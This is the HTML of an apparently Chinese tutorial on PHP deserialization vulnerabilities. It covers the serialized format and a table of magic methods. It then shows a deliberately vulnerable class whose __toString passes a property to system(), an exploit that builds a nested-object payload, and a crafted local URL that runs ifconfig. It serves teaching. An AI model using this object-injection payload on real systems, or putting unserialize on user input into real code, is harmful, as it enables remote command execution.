class="code-snippet_outer">O:7:&#34;Student&#34;:3:{s:4:&#34;name&#34;;s:5:&#34;Alice&#34;;s:5:&#34;stuid&#34;;i:1;s:3:&#34;age&#34;;N;}</span></code><code><span class="code-snippet_outer">O:7:&#34;Student&#34;:3:{s:4:&#34;name&#34;;s:3:&#34;Bob&#34;;s:5:&#34;stuid&#34;;i:2;s:3:&#34;age&#34;;N;}</span></code></pre></section><section style="text-indent: 2em;"><span style="font-size: 14px;"> 从执行结果可以看出<span style="white-space: pre-wrap;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;text-align: left;background-color: rgba(0, 0, 0, 0.03);">O:7:&#34;Student&#34;</span>中O代表object，7是对象名称长度，&#34;Student&#34;是O对应的值。php序列化后的格式为”类型:长度:值“，后面再将<span style="white-space: pre-wrap;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;text-align: left;background-color: rgba(0, 0, 0, 0.03);">O:7:&#34;Student&#34;</span>看作一个整体作为Student类的对象类型，后面的3为长度，最后的花括号中存在3对属性。</span></section><section style="text-indent: 2em;"><span style="font-size: 14px;">由于<span style="text-indent: 34px;">PHP序列化后得到的字符串存储的信息仅包含对象的属性</span>，所以可以去除函数进行序列化。特定环境下去除函数后才能得到你想要的。</span></section><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">代码</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;?php</span></code><code><span class="code-snippet_outer">class Student{</span></code><code><span class="code-snippet_outer">    public $name;</span></code><code><span class="code-snippet_outer">    public $stuid;</span></code><code><span class="code-snippet_outer">    public $age;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">$stu1=new Student();</span></code><code><span class="code-snippet_outer">$stu1-&gt;name=&#39;Alice&#39;;</span></code><code><span class="code-snippet_outer">$stu1-&gt;stuid=1;</span></code><code><span class="code-snippet_outer">$stu2=new Student();</span></code><code><span class="code-snippet_outer">$stu2-&gt;name=&#39;Bob&#39;;</span></code><code><span class="code-snippet_outer">$stu2-&gt;stuid=2;</span></code><code><span class="code-snippet_outer">echo(serialize($stu1));</span></code><code><span class="code-snippet_outer">echo(&#34;\n&#34;);</span></code><code><span class="code-snippet_outer">echo(serialize($stu2));</span></code><code><span class="code-snippet_outer">echo(&#34;\n&#34;);</span></code></pre></section><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">执行结果</span><br/></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">kali@kali:/tmp$ php student_nofunc.php </span></code><code><span class="code-snippet_outer">O:7:&#34;Student&#34;:3:{s:4:&#34;name&#34;;s:5:&#34;Alice&#34;;s:5:&#34;stuid&#34;;i:1;s:3:&#34;age&#34;;N;}</span></code><code><span class="code-snippet_outer">O:7:&#34;Student&#34;:3:{s:4:&#34;name&#34;;s:3:&#34;Bob&#34;;s:5:&#34;stuid&#34;;i:2;s:3:&#34;age&#34;;N;}</span></code></pre></section><section style="text-indent: 2em;"><span style="font-size: 14px;">可见，只要class名称、<span style="text-indent: 2em;">属性及属性值相同，序列化结果相同，与成员函数无任何关系。</span></span></section><section style="text-indent: 2em;"><span style="text-indent: 2em;">                       </span></section><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">PHP反序列化</span></strong></p></section></section></section><section style="text-indent: 2em;"><br/></section><section style="text-indent: 2em;"><span style="font-size: 14px;">PHP反序列化是序列化的逆过程，将序列化后的字符串还原成PHP对象。<br/></span></section><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">代码</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;?php</span></code><code><span class="code-snippet_outer">class Student{</span></code><code><span class="code-snippet_outer">    public $name;</span></code><code><span class="code-snippet_outer">    public $stuid;</span></code><code><span class="code-snippet_outer">    public $age;</span></code><code><span class="code-snippet_outer">    function __construct($name,$stuid){</span></code><code><span class="code-snippet_outer">        $this-&gt;name=$name;</span></code><code><span class="code-snippet_outer">        $this-&gt;stuid=$stuid;</span></code><code><span class="code-snippet_outer">    } </span></code><code><span class="code-snippet_outer">    function hello(){</span></code><code><span class="code-snippet_outer">        echo(&#34;Hello,I&#39;m $this-&gt;name.\n&#34;);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">$stu=unserialize(&#39;O:7:&#34;Student&#34;:3:{s:4:&#34;name&#34;;s:5:&#34;Alice&#34;;s:5:&#34;stuid&#34;;i:1;s:3:&#34;age&#34;;N;}&#39;);</span></code><code><span class="code-snippet_outer">$stu-&gt;hello();</span></code><code><span class="code-snippet_outer">echo $stu-&gt;name;</span></code><code><span class="code-snippet_outer">echo &#34;\n&#34;;</span></code></pre></section><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">执行结果</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">kali@kali:/tmp$ php student_sleep.php</span></code><code><span class="code-snippet_outer">Hello,I&#39;m Alice.</span></code><code><span class="code-snippet_outer">Alice</span></code></pre></section><section style="text-indent: 2em;"><span style="font-size: 14px;">可见代码中$stu对象由反序列化得到，反序列化的本质就是为对象属性赋值。</span><br/></section><p><br style="white-space: normal;"/></p><p>                                                                                                    <br/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">PHP反序列化漏洞</span></strong></p></section></section></section><section style="text-indent: 2em;"><br/></section><section style="text-indent: 2em;"><span style="font-size: 14px;">反序列化时，我们只能控制对象的的属性值，不能直接控制其执行某个特定的函数或语句，无法直接造成危害。PHP存在一些魔术函数，特定条件下被动触发执行。我们可以构造属性值为特定对象，创造环境使其触发执行一些包含危险操作的魔术函数执行。魔术函数以双下划线开头。</span><br/></section><section style="text-indent: 2em;"><span style="font-size: 14px;">PHP中常见的魔术函数和触发条件如下：<br/></span></section><table><tbody><tr><td width="268" valign="top" style="word-break: break-all;"><span style="font-size: 14px;">魔术函数<br/></span></td><td width="268" valign="top" style="word-break: break-all;"><span style="font-size: 14px;">触发条件<br/></span></td></tr><tr><td width="268" valign="top" style="word-break: break-all;"><span style="font-size: 14px;">__construct()</span></td><td width="268" valign="top" style="word-break: break-all;"><span style="font-size: 14px;">使用new关键字创建对象时<br/></span></td></tr><tr><td width="268" valign="top" style="word-break: break-all;"><span style="font-size: 14px;">__destruct()</span></td><td width="268" valign="top" style="word-break: break-all;"><span style="font-size: 14px;">对象被销毁时包括但不限于程序正常结束<br/></span></td></tr><tr><td width="268" valign="top" style="word-break: break-all;"><span style="font-size: 14px;">__call()</span></td><td width="268" valign="top" style="word-break: break-all;"><section><span style="font-size: 14px;">调用对象的一个不可访问方法时</span></section></td></tr><tr><td width="268" valign="top" style="word-break: break-all;"><span style="font-size: 14px;">__callStatic()</span></td><td width="268" valign="top" style="word-break: break-all;"><section><span style="font-size: 14px;">使用类名调用一个不可访问的静态方法时</span></section></td></tr><tr><td width="268" valign="top" style="word-break: break-all;"><span style="font-size: 14px;">__get()</span></td><td width="268" valign="top"><section><span style="font-size: 14px;">读取不可访问属性的值时</span></section></td></tr><tr><td width="268" valign="top" style="word-break: break-all;"><span style="font-size: 14px;">__set()</span></td><td width="268" valign="top" style="word-break: break-all;"><section><span style="font-size: 14px;">给不可访问属性赋值时</span></section></td></tr><tr><td width="268" valign="top" style="word-break: break-all;"><span style="font-size: 14px;">__isset()</span></td><td width="268" valign="top" style="word-break: break-all;"><section><span style="font-size: 14px;">当对不可访问属性调用 isset() 或 empty() 时</span></section></td></tr><tr><td width="268" valign="top" style="word-break: break-all;"><span style="font-size: 14px;">__unset()</span></td><td width="268" valign="top" style="word-break: break-all;"><section><span style="font-size: 14px;">当对不可访问属性调用 unset() 时</span></section></td></tr><tr><td width="268" valign="top" style="word-break: break-all;"><span style="font-size: 14px;">__sleep()</span></td><td width="268" valign="top" style="word-break: break-all;"><span style="font-size: 14px;">要序列化还未序列化时<br/></span></td></tr><tr><td valign="top" colspan="1" rowspan="1" style="word-break: break-all;"><span style="font-size: 14px;">__wakeup()</span></td><td valign="top" colspan="1" rowspan="1" style="word-break: break-all;"><span style="font-size: 14px;">反序列化完成后自动调用</span></td></tr><tr><td valign="top" colspan="1" rowspan="1" style="word-break: break-all;"><span style="font-size: 14px;">__serialize()</span></td><td valign="top" colspan="1" rowspan="1" style="word-break: break-all;"><span style="font-size: 14px;">要序列化还未序列化时调用，与__sleep()同时存在时__sleep()会被忽略不调用</span></td></tr><tr><td valign="top" colspan="1" rowspan="1" style="word-break: break-all;"><span style="font-size: 14px;">__unserialize()</span></td><td valign="top" colspan="1" rowspan="1" style="word-break: break-all;"><span style="font-size: 14px;">反序列化完成后自动调用，与__wakeup()同时存在时__wakeup()会被忽略不调用</span></td></tr><tr><td valign="top" colspan="1" rowspan="1" style="word-break: break-all;"><span style="font-size: 14px;">__toString()</span></td><td valign="top" colspan="1" rowspan="1" style="word-break: break-all;"><span style="font-size: 14px;">对象被当作字符串时，如字符串拼接、被echo等<br/></span></td></tr><tr><td valign="top" colspan="1" rowspan="1" style="word-break: break-all;"><span style="font-size: 14px;">__invoke()</span></td><td valign="top" colspan="1" rowspan="1" style="word-break: break-all;"><span style="font-size: 14px;">对象被当作函数调用时<br/></span></td></tr></tbody></table><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">代码</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;?php</span></code><code><span class="code-snippet_outer">class Student{</span></code><code><span class="code-snippet_outer">    public $name;</span></code><code><span class="code-snippet_outer">    public $stuid;</span></code><code><span class="code-snippet_outer">    public $age;</span></code><code><span class="code-snippet_outer">    function __construct($name,$stuid){</span></code><code><span class="code-snippet_outer">        $this-&gt;name=$name;</span></code><code><span class="code-snippet_outer">        $this-&gt;stuid=$stuid;</span></code><code><span class="code-snippet_outer">    } </span></code><code><span class="code-snippet_outer">    function hello(){</span></code><code><span class="code-snippet_outer">        echo(&#34;Hello,I&#39;m $this-&gt;name.\n&#34;);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    function __get($value){</span></code><code><span class="code-snippet_outer">        echo &#34;$value get error.\n&#34;;</span></code><code><span class="code-snippet_outer">        return(&#34;unknow $value.\n&#34;);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">$stu=new Student(&#39;Alice&#39;,1);</span></code><code><span class="code-snippet_outer">echo $stu-&gt;sex;</span></code></pre></section><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">执行结果</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">kali@kali:/tmp$ php magic.php </span></code><code><span class="code-snippet_outer">sex get error.</span></code><code><span class="code-snippet_outer">unknow sex.</span></code></pre></section><section style="text-indent: 2em;"><span style="font-size: 14px;">__get函数在尝试访问<span style="white-space: pre-wrap;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;text-align: left;background-color: rgba(0, 0, 0, 0.03);">$stu-&gt;sex</span>触发执行。看如下示例，进行简单的反序列化利用。<br/></span></section><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">代码</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;?php</span></code><code><span class="code-snippet_outer">class Student{</span></code><code><span class="code-snippet_outer">    public $name;</span></code><code><span class="code-snippet_outer">    public $stuid;</span></code><code><span class="code-snippet_outer">    public $age;</span></code><code><span class="code-snippet_outer">    function __construct($name,$stuid){</span></code><code><span class="code-snippet_outer">        $this-&gt;name=$name;</span></code><code><span class="code-snippet_outer">        $this-&gt;stuid=$stuid;</span></code><code><span class="code-snippet_outer">    } </span></code><code><span class="code-snippet_outer">    function hello(){</span></code><code><span class="code-snippet_outer">        echo(&#34;Hello,I&#39;m $this-&gt;name.\n&#34;);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    function __get($value){</span></code><code><span class="code-snippet_outer">        echo &#34;$value get error\n&#34;;</span></code><code><span class="code-snippet_outer">        return(&#34;unknow $value.\n&#34;);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    function __toString(){</span></code><code><span class="code-snippet_outer">        system($this-&gt;command);</span></code><code><span class="code-snippet_outer">        return(&#34;\nok\n&#34;);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">$stu=unserialize($_REQUEST(&#39;un&#39;));</span></code><code><span class="code-snippet_outer">$stu-&gt;hello();</span></code></pre></section><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">分析</span></p></li></ul><section style="text-indent: 2em;text-align: justify;"><span style="font-size: 14px;">由于<span style="white-space: pre-wrap;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;text-align: left;background-color: rgba(0, 0, 0, 0.03);">unserialize</span>函数从请求中获取un参数，用户可控制用于反序列化的字符串。重心放在寻找可利用的魔术函数上。<span style="text-indent: 2em;">我们很容易注意到类中的__toString函数执行了危险操作，需要使其触发，就必须要有地方将该对象当作字符串使用。反序列化后只调用了hello()，hello中将自身的name属性进行字符串拼接，如果该name属性的值是</span>Student<span style="text-indent: 2em;">对象，那将触发该对象的___toString函数执行。所以我们创建一个Student对象$stu1，使其属性$command为我们想执行的命令，$stu1对象被当作字符串使用时将执行$command。然后创建一个Student对象$stu2，使其name属性为$stu1，在执行$stu2的hello函数时就会将$stu1当作字符串进行拼接触发$stu1的__toString函数。exp代码如下：</span></span></section><section style="text-indent: 0em;"><br/></section><ul class="list-paddingleft-2" style="list-style-type: square;"><li><p>exp</p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;?php</span></code><code><span class="code-snippet_outer">class Student{</span></code><code><span class="code-snippet_outer">    public $name;</span></code><code><span class="code-snippet_outer">    public $stuid;</span></code><code><span class="code-snippet_outer">    public $age;</span></code><code><span class="code-snippet_outer">    function __construct($name,$stuid){</span></code><code><span class="code-snippet_outer">        $this-&gt;name=$name;</span></code><code><span class="code-snippet_outer">        $this-&gt;stuid=$stuid;</span></code><code><span class="code-snippet_outer">    } </span></code><code><span class="code-snippet_outer">    function hello(){</span></code><code><span class="code-snippet_outer">        echo(&#34;Hello,I&#39;m $this-&gt;name.\n&#34;);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    function __get($value){</span></code><code><span class="code-snippet_outer">        echo &#34;$value get error\n&#34;;</span></code><code><span class="code-snippet_outer">        return(&#34;unknow $value.\n&#34;);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    function __toString(){</span></code><code><span class="code-snippet_outer">        system($this-&gt;command);</span></code><code><span class="code-snippet_outer">        return(&#34;\nok\n&#34;);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">$stu1=new Student(&#39;Alice&#39;,1);</span></code><code><span class="code-snippet_outer">$stu1-&gt;command=&#39;ifconfig&#39;;</span></code><code><span class="code-snippet_outer">$stu2=new Student($stu1,2);</span></code><code><span class="code-snippet_outer">echo serialize($stu2);</span></code></pre></section><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">执行结果</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">kali@kali:/tmp$ php unser_exp.php</span></code><code><span class="code-snippet_outer">O:7:&#34;Student&#34;:3:{s:4:&#34;name&#34;;O:7:&#34;Student&#34;:4:{s:4:&#34;name&#34;;s:5:&#34;Alice&#34;;s:5:&#34;stuid&#34;;i:1;s:3:&#34;age&#34;;N;s:7:&#34;command&#34;;s:8:&#34;ifconfig&#34;;}s:5:&#34;stuid&#34;;i:2;s:3:&#34;age&#34;;N;}</span></code></pre></section><p style="text-indent: 2em;"><span style="font-size: 14px;">构造url:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer"><a href="http://127.0.0.1/unser_vul.php?un=O:7:" target="_blank">http://127.0.0.1/unser_vul.php?un=O:7:</a>&#34;Student&#34;:3:{s:4:&#34;name&#34;;O:7:&#34;Student&#34;:4:{s:4:&#34;name&#34;;s:5:&#34;Alice&#34;;s:5:&#34;stuid&#34;;i:1;s:3:&#34;age&#34;;N;s:7:&#34;command&#34;;s:8:&#34;ifconfig&#34;;}s:5:&#34;stuid&#34;;i:2;s:3:&#34;age&#34;;N;}</span></code></pre></section><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">访问结果：</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">eth1</span>: <span class="code-snippet__string">flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">inet</span> <span class="code-snippet__string">192.168.138.1  netmask 255.255.255.0  broadcast 192.168.138.255</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">inet6</span> <span class="code-snippet__string">fe80::c49:bff:2a44:7c3  prefixlen 64  scopeid 0xfd&lt;compat,link,site,host&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">ether</span> <span class="code-snippet__string">00:50:56:c0:00:01  (Ethernet)</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">RX</span> <span class="code-snippet__string">packets 0  bytes 0 (0.0 B)</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">RX</span> <span class="code-snippet__string">errors 0  dropped 0  overruns 0  frame 0</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">TX</span> <span class="code-snippet__string">packets 0  bytes 0 (0.0 B)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">lo</span>: <span class="code-snippet__string">flags=73&lt;UP,LOOPBACK,RUNNING&gt;  mtu 1500</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">inet</span> <span class="code-snippet__string">127.0.0.1  netmask 255.0.0.0</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">inet6</span> :<span class="code-snippet__string">:1  prefixlen 128  scopeid 0xfe&lt;compat,link,site,host&gt;</span></span></code><code><span class="code-snippet_outer">        <span 